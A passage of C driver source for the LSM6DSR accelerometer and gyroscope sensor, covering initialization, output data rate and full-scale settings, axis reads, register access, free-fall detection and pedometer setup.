(lsm6dsr_fifo_mode_set(&(pObj->Ctx), LSM6DSR_BYPASS_MODE) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Select default output data rate. */\n  pObj->acc_odr = LSM6DSR_XL_ODR_104Hz;\n\n  /* Output data rate selection - power down. */\n  if (lsm6dsr_xl_data_rate_set(&(pObj->Ctx), LSM6DSR_XL_ODR_OFF) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Full scale selection. */\n  if (lsm6dsr_xl_full_scale_set(&(pObj->Ctx), LSM6DSR_2g) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Select default output data rate. */\n  pObj->gyro_odr = LSM6DSR_GY_ODR_104Hz;\n\n  /* Output data rate selection - power down. */\n  if (lsm6dsr_gy_data_rate_set(&(pObj->Ctx), LSM6DSR_GY_ODR_OFF) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Full scale selection. */\n  if (lsm6dsr_gy_full_scale_set(&(pObj->Ctx), LSM6DSR_2000dps) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  pObj->is_initialized = 1;\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Deinitialize the LSM6DSR sensor\n  * @param  pObj the device pObj\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_DeInit(LSM6DSR_Object_t *pObj)\n{\n  /* Disable the component */\n  if (LSM6DSR_ACC_Disable(pObj) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  if (LSM6DSR_GYRO_Disable(pObj) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Reset output data rate. */\n  pObj->acc_odr = LSM6DSR_XL_ODR_OFF;\n  pObj->gyro_odr = LSM6DSR_GY_ODR_OFF;\n\n  pObj->is_initialized = 0;\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Read component ID\n  * @param  pObj the device pObj\n  * @param  Id the WHO_AM_I value\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_ReadID(LSM6DSR_Object_t *pObj, uint8_t *Id)\n{\n  if (lsm6dsr_device_id_get(&(pObj->Ctx), Id) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Get LSM6DSR sensor capabilities\n  * @param  pObj Component object pointer\n  * @param  Capabilities pointer to LSM6DSR sensor capabilities\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_GetCapabilities(LSM6DSR_Object_t *pObj, LSM6DSR_Capabilities_t *Capabilities)\n{\n  /* Prevent unused argument(s) compilation warning */\n  (void)(pObj);\n\n  Capabilities->Acc          = 1;\n  Capabilities->Gyro         = 1;\n  Capabilities->Magneto      = 0;\n  Capabilities->LowPower     = 0;\n  Capabilities->GyroMaxFS    = 4000;\n  Capabilities->AccMaxFS     = 16;\n  Capabilities->MagMaxFS     = 0;\n  Capabilities->GyroMaxOdr   = 6660.0f;\n  Capabilities->AccMaxOdr    = 6660.0f;\n  Capabilities->MagMaxOdr    = 0.0f;\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Enable the LSM6DSR accelerometer sensor\n  * @param  pObj the device pObj\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_ACC_Enable(LSM6DSR_Object_t *pObj)\n{\n  /* Check if the component is already enabled */\n  if (pObj->acc_is_enabled == 1U)\n  {\n    return LSM6DSR_OK;\n  }\n\n  /* Output data rate selection. */\n  if (lsm6dsr_xl_data_rate_set(&(pObj->Ctx), pObj->acc_odr) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  pObj->acc_is_enabled = 1;\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Disable the LSM6DSR accelerometer sensor\n  * @param  pObj the device pObj\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_ACC_Disable(LSM6DSR_Object_t *pObj)\n{\n  /* Check if the component is already disabled */\n  if (pObj->acc_is_enabled == 0U)\n  {\n    return LSM6DSR_OK;\n  }\n\n  /* Get current output data rate. */\n  if (lsm6dsr_xl_data_rate_get(&(pObj->Ctx), &pObj->acc_odr) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Output data rate selection - power down. */\n  if (lsm6dsr_xl_data_rate_set(&(pObj->Ctx), LSM6DSR_XL_ODR_OFF) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  pObj->acc_is_enabled = 0;\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Get the LSM6DSR accelerometer sensor sensitivity\n  * @param  pObj the device pObj\n  * @param  Sensitivity pointer\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_ACC_GetSensitivity(LSM6DSR_Object_t *pObj, float *Sensitivity)\n{\n  int32_t ret = LSM6DSR_OK;\n  lsm6dsr_fs_xl_t full_scale;\n\n  /* Read actual full scale selection from sensor. */\n  if (lsm6dsr_xl_full_scale_get(&(pObj->Ctx), &full_scale) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Store the Sensitivity based on actual full scale. */\n  switch (full_scale)\n  {\n    case LSM6DSR_2g:\n      *Sensitivity = LSM6DSR_ACC_SENSITIVITY_FS_2G;\n      break;\n\n    case LSM6DSR_4g:\n      *Sensitivity = LSM6DSR_ACC_SENSITIVITY_FS_4G;\n      break;\n\n    case LSM6DSR_8g:\n      *Sensitivity = LSM6DSR_ACC_SENSITIVITY_FS_8G;\n      break;\n\n    case LSM6DSR_16g:\n      *Sensitivity = LSM6DSR_ACC_SENSITIVITY_FS_16G;\n      break;\n\n    default:\n      ret = LSM6DSR_ERROR;\n      break;\n  }\n\n  return ret;\n}\n\n/**\n  * @brief  Get the LSM6DSR accelerometer sensor output data rate\n  * @param  pObj the device pObj\n  * @param  Odr pointer where the output data rate is written\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_ACC_GetOutputDataRate(LSM6DSR_Object_t *pObj, float *Odr)\n{\n  int32_t ret = LSM6DSR_OK;\n  lsm6dsr_odr_xl_t odr_low_level;\n\n  /* Get current output data rate. */\n  if (lsm6dsr_xl_data_rate_get(&(pObj->Ctx), &odr_low_level) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  switch (odr_low_level)\n  {\n    case LSM6DSR_XL_ODR_OFF:\n      *Odr = 0.0f;\n      break;\n\n    case LSM6DSR_XL_ODR_12Hz5:\n      *Odr = 12.5f;\n      break;\n\n    case LSM6DSR_XL_ODR_26Hz:\n      *Odr = 26.0f;\n      break;\n\n    case LSM6DSR_XL_ODR_52Hz:\n      *Odr = 52.0f;\n      break;\n\n    case LSM6DSR_XL_ODR_104Hz:\n      *Odr = 104.0f;\n      break;\n\n    case LSM6DSR_XL_ODR_208Hz:\n      *Odr = 208.0f;\n      break;\n\n    case LSM6DSR_XL_ODR_416Hz:\n      *Odr = 416.0f;\n      break;\n\n    case LSM6DSR_XL_ODR_833Hz:\n      *Odr = 833.0f;\n      break;\n\n    case LSM6DSR_XL_ODR_1666Hz:\n      *Odr = 1666.0f;\n      break;\n\n    case LSM6DSR_XL_ODR_3332Hz:\n      *Odr = 3332.0f;\n      break;\n\n    case LSM6DSR_XL_ODR_6667Hz:\n      *Odr = 6667.0f;\n      break;\n\n    default:\n      ret = LSM6DSR_ERROR;\n      break;\n  }\n\n  return ret;\n}\n\n/**\n  * @brief  Set the LSM6DSR accelerometer sensor output data rate\n  * @param  pObj the device pObj\n  * @param  Odr the output data rate value to be set\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_ACC_SetOutputDataRate(LSM6DSR_Object_t *pObj, float Odr)\n{\n  /* Check if the component is enabled */\n  if (pObj->acc_is_enabled == 1U)\n  {\n    return LSM6DSR_ACC_SetOutputDataRate_When_Enabled(pObj, Odr);\n  }\n  else\n  {\n    return LSM6DSR_ACC_SetOutputDataRate_When_Disabled(pObj, Odr);\n  }\n}\n\n/**\n  * @brief  Get the LSM6DSR accelerometer sensor full scale\n  * @param  pObj the device pObj\n  * @param  FullScale pointer where the full scale is written\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_ACC_GetFullScale(LSM6DSR_Object_t *pObj, int32_t *FullScale)\n{\n  int32_t ret = LSM6DSR_OK;\n  lsm6dsr_fs_xl_t fs_low_level;\n\n  /* Read actual full scale selection from sensor. */\n  if (lsm6dsr_xl_full_scale_get(&(pObj->Ctx), &fs_low_level) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  switch (fs_low_level)\n  {\n    case LSM6DSR_2g:\n      *FullScale =  2;\n      break;\n\n    case LSM6DSR_4g:\n      *FullScale =  4;\n      break;\n\n    case LSM6DSR_8g:\n      *FullScale =  8;\n      break;\n\n    case LSM6DSR_16g:\n      *FullScale = 16;\n      break;\n\n    default:\n      ret = LSM6DSR_ERROR;\n      break;\n  }\n\n  return ret;\n}\n\n/**\n  * @brief  Set the LSM6DSR accelerometer sensor full scale\n  * @param  pObj the device pObj\n  * @param  FullScale the functional full scale to be set\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_ACC_SetFullScale(LSM6DSR_Object_t *pObj, int32_t FullScale)\n{\n  lsm6dsr_fs_xl_t new_fs;\n\n  /* Seems like MISRA C-2012 rule 14.3a violation but only from single file statical analysis point of view because\n     the parameter passed to the function is not known at the moment of analysis */\n  new_fs = (FullScale <= 2) ? LSM6DSR_2g\n           : (FullScale <= 4) ? LSM6DSR_4g\n           : (FullScale <= 8) ? LSM6DSR_8g\n           :                    LSM6DSR_16g;\n\n  if (lsm6dsr_xl_full_scale_set(&(pObj->Ctx), new_fs) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Get the LSM6DSR accelerometer sensor raw axes\n  * @param  pObj the device pObj\n  * @param  Value pointer where the raw values of the axes are written\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_ACC_GetAxesRaw(LSM6DSR_Object_t *pObj, LSM6DSR_AxesRaw_t *Value)\n{\n  lsm6dsr_axis3bit16_t data_raw;\n\n  /* Read raw data values. */\n  if (lsm6dsr_acceleration_raw_get(&(pObj->Ctx), data_raw.i16bit) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Format the data. */\n  Value->x = data_raw.i16bit[0];\n  Value->y = data_raw.i16bit[1];\n  Value->z = data_raw.i16bit[2];\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Get the LSM6DSR accelerometer sensor axes\n  * @param  pObj the device pObj\n  * @param  Acceleration pointer where the values of the axes are written\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_ACC_GetAxes(LSM6DSR_Object_t *pObj, LSM6DSR_Axes_t *Acceleration)\n{\n  lsm6dsr_axis3bit16_t data_raw;\n  float sensitivity = 0.0f;\n\n  /* Read raw data values. */\n  if (lsm6dsr_acceleration_raw_get(&(pObj->Ctx), data_raw.i16bit) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Get LSM6DSR actual sensitivity. */\n  if (LSM6DSR_ACC_GetSensitivity(pObj, &sensitivity) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Calculate the data. */\n  Acceleration->x = (int32_t)((float)((float)data_raw.i16bit[0] * sensitivity));\n  Acceleration->y = (int32_t)((float)((float)data_raw.i16bit[1] * sensitivity));\n  Acceleration->z = (int32_t)((float)((float)data_raw.i16bit[2] * sensitivity));\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Enable the LSM6DSR gyroscope sensor\n  * @param  pObj the device pObj\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_GYRO_Enable(LSM6DSR_Object_t *pObj)\n{\n  /* Check if the component is already enabled */\n  if (pObj->gyro_is_enabled == 1U)\n  {\n    return LSM6DSR_OK;\n  }\n\n  /* Output data rate selection. */\n  if (lsm6dsr_gy_data_rate_set(&(pObj->Ctx), pObj->gyro_odr) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  pObj->gyro_is_enabled = 1;\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Disable the LSM6DSR gyroscope sensor\n  * @param  pObj the device pObj\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_GYRO_Disable(LSM6DSR_Object_t *pObj)\n{\n  /* Check if the component is already disabled */\n  if (pObj->gyro_is_enabled == 0U)\n  {\n    return LSM6DSR_OK;\n  }\n\n  /* Get current output data rate. */\n  if (lsm6dsr_gy_data_rate_get(&(pObj->Ctx), &pObj->gyro_odr) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Output data rate selection - power down. */\n  if (lsm6dsr_gy_data_rate_set(&(pObj->Ctx), LSM6DSR_GY_ODR_OFF) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  pObj->gyro_is_enabled = 0;\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Get the LSM6DSR gyroscope sensor sensitivity\n  * @param  pObj the device pObj\n  * @param  Sensitivity pointer\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_GYRO_GetSensitivity(LSM6DSR_Object_t *pObj, float *Sensitivity)\n{\n  int32_t ret = LSM6DSR_OK;\n  lsm6dsr_fs_g_t full_scale;\n\n  /* Read actual full scale selection from sensor. */\n  if (lsm6dsr_gy_full_scale_get(&(pObj->Ctx), &full_scale) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Store the sensitivity based on actual full scale. */\n  switch (full_scale)\n  {\n    case LSM6DSR_125dps:\n      *Sensitivity = LSM6DSR_GYRO_SENSITIVITY_FS_125DPS;\n      break;\n\n    case LSM6DSR_250dps:\n      *Sensitivity = LSM6DSR_GYRO_SENSITIVITY_FS_250DPS;\n      break;\n\n    case LSM6DSR_500dps:\n      *Sensitivity = LSM6DSR_GYRO_SENSITIVITY_FS_500DPS;\n      break;\n\n    case LSM6DSR_1000dps:\n      *Sensitivity = LSM6DSR_GYRO_SENSITIVITY_FS_1000DPS;\n      break;\n\n    case LSM6DSR_2000dps:\n      *Sensitivity = LSM6DSR_GYRO_SENSITIVITY_FS_2000DPS;\n      break;\n\n    case LSM6DSR_4000dps:\n      *Sensitivity = LSM6DSR_GYRO_SENSITIVITY_FS_4000DPS;\n      break;\n\n    default:\n      ret = LSM6DSR_ERROR;\n      break;\n  }\n\n  return ret;\n}\n\n/**\n  * @brief  Get the LSM6DSR gyroscope sensor output data rate\n  * @param  pObj the device pObj\n  * @param  Odr pointer where the output data rate is written\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_GYRO_GetOutputDataRate(LSM6DSR_Object_t *pObj, float *Odr)\n{\n  int32_t ret = LSM6DSR_OK;\n  lsm6dsr_odr_g_t odr_low_level;\n\n  /* Get current output data rate. */\n  if (lsm6dsr_gy_data_rate_get(&(pObj->Ctx), &odr_low_level) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  switch (odr_low_level)\n  {\n    case LSM6DSR_GY_ODR_OFF:\n      *Odr = 0.0f;\n      break;\n\n    case LSM6DSR_GY_ODR_12Hz5:\n      *Odr = 12.5f;\n      break;\n\n    case LSM6DSR_GY_ODR_26Hz:\n      *Odr = 26.0f;\n      break;\n\n    case LSM6DSR_GY_ODR_52Hz:\n      *Odr = 52.0f;\n      break;\n\n    case LSM6DSR_GY_ODR_104Hz:\n      *Odr = 104.0f;\n      break;\n\n    case LSM6DSR_GY_ODR_208Hz:\n      *Odr = 208.0f;\n      break;\n\n    case LSM6DSR_GY_ODR_416Hz:\n      *Odr = 416.0f;\n      break;\n\n    case LSM6DSR_GY_ODR_833Hz:\n      *Odr = 833.0f;\n      break;\n\n    case LSM6DSR_GY_ODR_1666Hz:\n      *Odr =  1666.0f;\n      break;\n\n    case LSM6DSR_GY_ODR_3332Hz:\n      *Odr =  3332.0f;\n      break;\n\n    case LSM6DSR_GY_ODR_6667Hz:\n      *Odr =  6667.0f;\n      break;\n\n    default:\n      ret = LSM6DSR_ERROR;\n      break;\n  }\n\n  return ret;\n}\n\n/**\n  * @brief  Set the LSM6DSR gyroscope sensor output data rate\n  * @param  pObj the device pObj\n  * @param  Odr the output data rate value to be set\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_GYRO_SetOutputDataRate(LSM6DSR_Object_t *pObj, float Odr)\n{\n  /* Check if the component is enabled */\n  if (pObj->gyro_is_enabled == 1U)\n  {\n    return LSM6DSR_GYRO_SetOutputDataRate_When_Enabled(pObj, Odr);\n  }\n  else\n  {\n    return LSM6DSR_GYRO_SetOutputDataRate_When_Disabled(pObj, Odr);\n  }\n}\n\n/**\n  * @brief  Get the LSM6DSR gyroscope sensor full scale\n  * @param  pObj the device pObj\n  * @param  FullScale pointer where the full scale is written\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_GYRO_GetFullScale(LSM6DSR_Object_t *pObj, int32_t  *FullScale)\n{\n  int32_t ret = LSM6DSR_OK;\n  lsm6dsr_fs_g_t fs_low_level;\n\n  /* Read actual full scale selection from sensor. */\n  if (lsm6dsr_gy_full_scale_get(&(pObj->Ctx), &fs_low_level) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  switch (fs_low_level)\n  {\n    case LSM6DSR_125dps:\n      *FullScale =  125;\n      break;\n\n    case LSM6DSR_250dps:\n      *FullScale =  250;\n      break;\n\n    case LSM6DSR_500dps:\n      *FullScale =  500;\n      break;\n\n    case LSM6DSR_1000dps:\n      *FullScale = 1000;\n      break;\n\n    case LSM6DSR_2000dps:\n      *FullScale = 2000;\n      break;\n\n    case LSM6DSR_4000dps:\n      *FullScale = 4000;\n      break;\n\n    default:\n      ret = LSM6DSR_ERROR;\n      break;\n  }\n\n  return ret;\n}\n\n/**\n  * @brief  Set the LSM6DSR gyroscope sensor full scale\n  * @param  pObj the device pObj\n  * @param  FullScale the functional full scale to be set\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_GYRO_SetFullScale(LSM6DSR_Object_t *pObj, int32_t FullScale)\n{\n  lsm6dsr_fs_g_t new_fs;\n\n  new_fs = (FullScale <= 125)  ? LSM6DSR_125dps\n           : (FullScale <= 250)  ? LSM6DSR_250dps\n           : (FullScale <= 500)  ? LSM6DSR_500dps\n           : (FullScale <= 1000) ? LSM6DSR_1000dps\n           : (FullScale <= 2000) ? LSM6DSR_2000dps\n           :                       LSM6DSR_4000dps;\n\n  if (lsm6dsr_gy_full_scale_set(&(pObj->Ctx), new_fs) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Get the LSM6DSR gyroscope sensor raw axes\n  * @param  pObj the device pObj\n  * @param  Value pointer where the raw values of the axes are written\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_GYRO_GetAxesRaw(LSM6DSR_Object_t *pObj, LSM6DSR_AxesRaw_t *Value)\n{\n  lsm6dsr_axis3bit16_t data_raw;\n\n  /* Read raw data values. */\n  if (lsm6dsr_angular_rate_raw_get(&(pObj->Ctx), data_raw.i16bit) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Format the data. */\n  Value->x = data_raw.i16bit[0];\n  Value->y = data_raw.i16bit[1];\n  Value->z = data_raw.i16bit[2];\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Get the LSM6DSR gyroscope sensor axes\n  * @param  pObj the device pObj\n  * @param  AngularRate pointer where the values of the axes are written\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_GYRO_GetAxes(LSM6DSR_Object_t *pObj, LSM6DSR_Axes_t *AngularRate)\n{\n  lsm6dsr_axis3bit16_t data_raw;\n  float sensitivity;\n\n  /* Read raw data values. */\n  if (lsm6dsr_angular_rate_raw_get(&(pObj->Ctx), data_raw.i16bit) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Get LSM6DSR actual sensitivity. */\n  if (LSM6DSR_GYRO_GetSensitivity(pObj, &sensitivity) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Calculate the data. */\n  AngularRate->x = (int32_t)((float)((float)data_raw.i16bit[0] * sensitivity));\n  AngularRate->y = (int32_t)((float)((float)data_raw.i16bit[1] * sensitivity));\n  AngularRate->z = (int32_t)((float)((float)data_raw.i16bit[2] * sensitivity));\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Get the LSM6DSR register value\n  * @param  pObj the device pObj\n  * @param  Reg address to be read\n  * @param  Data pointer where the value is written\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_Read_Reg(LSM6DSR_Object_t *pObj, uint8_t Reg, uint8_t *Data)\n{\n  if (lsm6dsr_read_reg(&(pObj->Ctx), Reg, Data, 1) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Set the LSM6DSR register value\n  * @param  pObj the device pObj\n  * @param  Reg address to be written\n  * @param  Data value to be written\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_Write_Reg(LSM6DSR_Object_t *pObj, uint8_t Reg, uint8_t Data)\n{\n  if (lsm6dsr_write_reg(&(pObj->Ctx), Reg, &Data, 1) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Set the interrupt latch\n  * @param  pObj the device pObj\n  * @param  Status value to be written\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_Set_Interrupt_Latch(LSM6DSR_Object_t *pObj, uint8_t Status)\n{\n  if (Status > 1U)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  if (lsm6dsr_int_notification_set(&(pObj->Ctx), (lsm6dsr_lir_t)Status) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Enable free fall detection\n  * @param  pObj the device pObj\n  * @param  IntPin interrupt pin line to be used\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_ACC_Enable_Free_Fall_Detection(LSM6DSR_Object_t *pObj, LSM6DSR_SensorIntPin_t IntPin)\n{\n  int32_t ret = LSM6DSR_OK;\n  lsm6dsr_pin_int1_route_t val1;\n  lsm6dsr_pin_int2_route_t val2;\n\n  /* Output Data Rate selection */\n  if (LSM6DSR_ACC_SetOutputDataRate(pObj, 416.0f) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Full scale selection */\n  if (LSM6DSR_ACC_SetFullScale(pObj, 2) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* FF_DUR setting */\n  if (lsm6dsr_ff_dur_set(&(pObj->Ctx), 0x06) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* WAKE_DUR setting */\n  if (lsm6dsr_wkup_dur_set(&(pObj->Ctx), 0x00) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* SLEEP_DUR setting */\n  if (lsm6dsr_act_sleep_dur_set(&(pObj->Ctx), 0x00) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* FF_THS setting */\n  if (lsm6dsr_ff_threshold_set(&(pObj->Ctx), LSM6DSR_FF_TSH_312mg) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Enable free fall event on either INT1 or INT2 pin */\n  switch (IntPin)\n  {\n    case LSM6DSR_INT1_PIN:\n      if (lsm6dsr_pin_int1_route_get(&(pObj->Ctx), &val1) != LSM6DSR_OK)\n      {\n        return LSM6DSR_ERROR;\n      }\n\n      val1.md1_cfg.int1_ff = PROPERTY_ENABLE;\n\n      if (lsm6dsr_pin_int1_route_set(&(pObj->Ctx), &val1) != LSM6DSR_OK)\n      {\n        return LSM6DSR_ERROR;\n      }\n      break;\n\n    case LSM6DSR_INT2_PIN:\n      if (lsm6dsr_pin_int2_route_get(&(pObj->Ctx), &val2) != LSM6DSR_OK)\n      {\n        return LSM6DSR_ERROR;\n      }\n\n      val2.md2_cfg.int2_ff = PROPERTY_ENABLE;\n\n      if (lsm6dsr_pin_int2_route_set(&(pObj->Ctx), &val2) != LSM6DSR_OK)\n      {\n        return LSM6DSR_ERROR;\n      }\n      break;\n\n    default:\n      ret = LSM6DSR_ERROR;\n      break;\n  }\n\n  return ret;\n}\n\n/**\n  * @brief  Disable free fall detection\n  * @param  pObj the device pObj\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_ACC_Disable_Free_Fall_Detection(LSM6DSR_Object_t *pObj)\n{\n  lsm6dsr_pin_int1_route_t val1;\n  lsm6dsr_pin_int2_route_t val2;\n\n  /* Disable free fall event on both INT1 and INT2 pins */\n  if (lsm6dsr_pin_int1_route_get(&(pObj->Ctx), &val1) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  val1.md1_cfg.int1_ff = PROPERTY_DISABLE;\n\n  if (lsm6dsr_pin_int1_route_set(&(pObj->Ctx), &val1) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  if (lsm6dsr_pin_int2_route_get(&(pObj->Ctx), &val2) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  val2.md2_cfg.int2_ff = PROPERTY_DISABLE;\n\n  if (lsm6dsr_pin_int2_route_set(&(pObj->Ctx), &val2) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* FF_DUR setting */\n  if (lsm6dsr_ff_dur_set(&(pObj->Ctx), 0x00) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* FF_THS setting */\n  if (lsm6dsr_ff_threshold_set(&(pObj->Ctx), LSM6DSR_FF_TSH_156mg) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Set free fall threshold\n  * @param  pObj the device pObj\n  * @param  Threshold free fall detection threshold\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_ACC_Set_Free_Fall_Threshold(LSM6DSR_Object_t *pObj, uint8_t Threshold)\n{\n  if (lsm6dsr_ff_threshold_set(&(pObj->Ctx), (lsm6dsr_ff_ths_t)Threshold) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Set free fall duration\n  * @param  pObj the device pObj\n  * @param  Duration free fall detection duration\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_ACC_Set_Free_Fall_Duration(LSM6DSR_Object_t *pObj, uint8_t Duration)\n{\n  if (lsm6dsr_ff_dur_set(&(pObj->Ctx), Duration) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Enable pedometer\n  * @param  pObj the device pObj\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_ACC_Enable_Pedometer(LSM6DSR_Object_t *pObj)\n{\n  lsm6dsr_pin_int1_route_t val;\n\n  /* Output Data Rate selection */\n  if (LSM6DSR_ACC_SetOutputDataRate(pObj, 26.0f) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Full scale selection */\n  if (LSM6DSR_ACC_SetFullScale(pObj, 2) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Enable pedometer algorithm. */\n  if (lsm6dsr_pedo_sens_set(&(pObj->Ctx), LSM6DSR_PEDO_BASE) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Enable step detector on INT1 pin */\n  if (lsm6dsr_pin_int1_route_get(&(pObj->Ctx), &val) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  val.emb_func_int1.int1_step_detector = PROPERTY_ENABLE;\n\n  if (lsm6dsr_pin_int1_route_set(&(pObj->Ctx), &val) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  return LSM6DSR_OK;\n}\n\n/**\n  * @brief  Disable pedometer\n  * @param  pObj the device pObj\n  * @retval 0 in case of success, an error code otherwise\n  */\nint32_t LSM6DSR_ACC_Disable_Pedometer(LSM6DSR_Object_t *pObj)\n{\n  lsm6dsr_pin_int1_route_t val1;\n\n  /* Disable step detector on INT1 pin */\n  if (lsm6dsr_pin_int1_route_get(&(pObj->Ctx), &val1) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  val1.emb_func_int1.int1_step_detector = PROPERTY_DISABLE;\n\n  if (lsm6dsr_pin_int1_route_set(&(pObj->Ctx), &val1) != LSM6DSR_OK)\n  {\n    return LSM6DSR_ERROR;\n  }\n\n  /* Disable pedometer algorithm. 